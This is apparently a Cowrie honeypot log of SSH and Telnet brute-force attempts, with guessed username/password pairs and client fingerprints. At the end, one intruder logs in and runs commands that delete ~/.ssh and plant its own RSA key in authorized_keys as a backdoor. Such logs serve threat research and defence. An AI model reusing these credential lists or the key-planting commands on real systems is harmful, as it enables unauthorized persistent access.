{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:04.019295Z","src_ip":"45.156.87.254","session":"e9dedcbc6026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:05.113968Z","src_ip":"45.156.87.254","session":"e9dedcbc6026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57910,"dst_ip":"159.203.135.109","dst_port":22,"session":"16c73b9fe9ee","protocol":"ssh","message":"New connection: 45.156.87.254:57910 (159.203.135.109:22) [session: 16c73b9fe9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:08.660994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:08.671074Z","src_ip":"45.156.87.254","session":"16c73b9fe9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:08.761959Z","src_ip":"45.156.87.254","session":"16c73b9fe9ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:09.018317Z","src_ip":"45.156.87.254","session":"16c73b9fe9ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":46684,"dst_ip":"10.17.0.5","dst_port":22,"session":"45b13b9abe97","protocol":"ssh","message":"New connection: 185.16.214.226:46684 (10.17.0.5:22) [session: 45b13b9abe97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:10.003791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:10.013160Z","src_ip":"185.16.214.226","session":"45b13b9abe97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:10.113513Z","src_ip":"45.156.87.254","session":"16c73b9fe9ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:10.140475Z","src_ip":"185.16.214.226","session":"45b13b9abe97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2024","message":"login attempt [user/user2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:10.686085Z","src_ip":"185.16.214.226","session":"45b13b9abe97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:11.819936Z","src_ip":"185.16.214.226","session":"45b13b9abe97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57926,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdadc3eeeffa","protocol":"ssh","message":"New connection: 45.156.87.254:57926 (159.203.135.109:22) [session: cdadc3eeeffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:13.690873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:13.700988Z","src_ip":"45.156.87.254","session":"cdadc3eeeffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:13.787549Z","src_ip":"45.156.87.254","session":"cdadc3eeeffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:14.055287Z","src_ip":"45.156.87.254","session":"cdadc3eeeffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:15.147335Z","src_ip":"45.156.87.254","session":"cdadc3eeeffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59264,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c1e9ac2550","protocol":"ssh","message":"New connection: 45.156.87.254:59264 (159.203.135.109:22) [session: 25c1e9ac2550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:19.260882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:19.266108Z","src_ip":"45.156.87.254","session":"25c1e9ac2550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:19.368279Z","src_ip":"45.156.87.254","session":"25c1e9ac2550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:19.641523Z","src_ip":"45.156.87.254","session":"25c1e9ac2550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:20.740378Z","src_ip":"45.156.87.254","session":"25c1e9ac2550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35776,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d4d029e4e55","protocol":"telnet","message":"New connection: 20.123.41.163:35776 (10.17.0.5:23) [session: 9d4d029e4e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:24.197257Z"}
{"eventid":"cowrie.session.closed","duration":45.749534130096436,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:24.553307Z","src_ip":"20.123.41.163","session":"d4605101d762","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59274,"dst_ip":"159.203.135.109","dst_port":22,"session":"415e8cd54c6e","protocol":"ssh","message":"New connection: 45.156.87.254:59274 (159.203.135.109:22) [session: 415e8cd54c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:24.897796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:24.903923Z","src_ip":"45.156.87.254","session":"415e8cd54c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:25.067750Z","src_ip":"45.156.87.254","session":"415e8cd54c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:25.463798Z","src_ip":"45.156.87.254","session":"415e8cd54c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:26.552731Z","src_ip":"45.156.87.254","session":"415e8cd54c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.023279190063477,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:29.220373Z","src_ip":"20.123.41.163","session":"9d4d029e4e55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51334,"dst_ip":"159.203.135.109","dst_port":22,"session":"91dd694e05c5","protocol":"ssh","message":"New connection: 45.156.87.254:51334 (159.203.135.109:22) [session: 91dd694e05c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:31.067105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:31.071650Z","src_ip":"45.156.87.254","session":"91dd694e05c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:31.165967Z","src_ip":"45.156.87.254","session":"91dd694e05c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:31.417602Z","src_ip":"45.156.87.254","session":"91dd694e05c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:32.505356Z","src_ip":"45.156.87.254","session":"91dd694e05c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":43572,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b21ecae88ca","protocol":"ssh","message":"New connection: 103.143.231.102:43572 (10.17.0.5:22) [session: 7b21ecae88ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:33.515774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:33.519693Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:33.589486Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:33.903251Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.095223Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.098782Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.102831Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.176801Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.372526Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:05:34.376554Z","src_ip":"103.143.231.102","session":"7b21ecae88ca","protocol":"ssh"}
